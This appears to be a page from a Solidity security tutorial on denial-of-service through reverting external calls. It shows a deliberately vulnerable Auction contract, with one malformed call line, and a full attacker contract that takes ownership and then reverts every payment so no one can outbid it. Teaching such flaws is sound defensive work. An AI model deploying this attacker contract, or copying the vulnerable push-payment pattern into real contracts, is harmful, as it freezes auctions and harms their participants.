βͺExternal Call Reverts DoS
External calls can cause the contract to be vulnerable to DoS attacks. To better explain how can this be possible, consider the following simplified Auction contract:
contract Auction {
address public currentOwner;
uint public currentBid;
constructor() payable {
currentOwner = msg.sender;
currentBid = msg.value;
}
receive() external payable {
require(msg.value > currentBid);
payable(currentOwner).call{msg.value}("");
currentOwner = msg.sender;
currentBid = msg.value;
}
}For anyone to be a new owner of the Auction, he needs to send an amount of ether greater than the current price (which is set by the currentOwner).
To prevent someone else from being a new owner (even if he has more ether than the current price), we can perform a DS attack into the contract by creating a malicious contract that we register as the currentOwner (by sending ether greater than the current price of course) and reverts the transaction whenever it receives ether. So, when a new address attempts to be a new owner (the currentOwner is our malicious contract), the transaction will revert, hence the newOwner will not be set anymore.
Below is an example of a Malicious contract that can perform a DoS attack on the Auction contract:
contract AuctionDOS {
constructor(address payable _auction) payable {
uint currentBid = Auction(_auction).currentBid();
require(msg.value > currentBid, "You need to send more ether to be the currentOwner");
// we register the contract as the currentOwner
(bool success,) = _auction.call{value: msg.value}("");
require(success, "Failed to register as currentOwner");
}
receive() external payable {
// the contract will revert the transaction whenever there is an attempt to change the currentOwner
revert("newOwner can not be set anymore x)");
}
}Last updated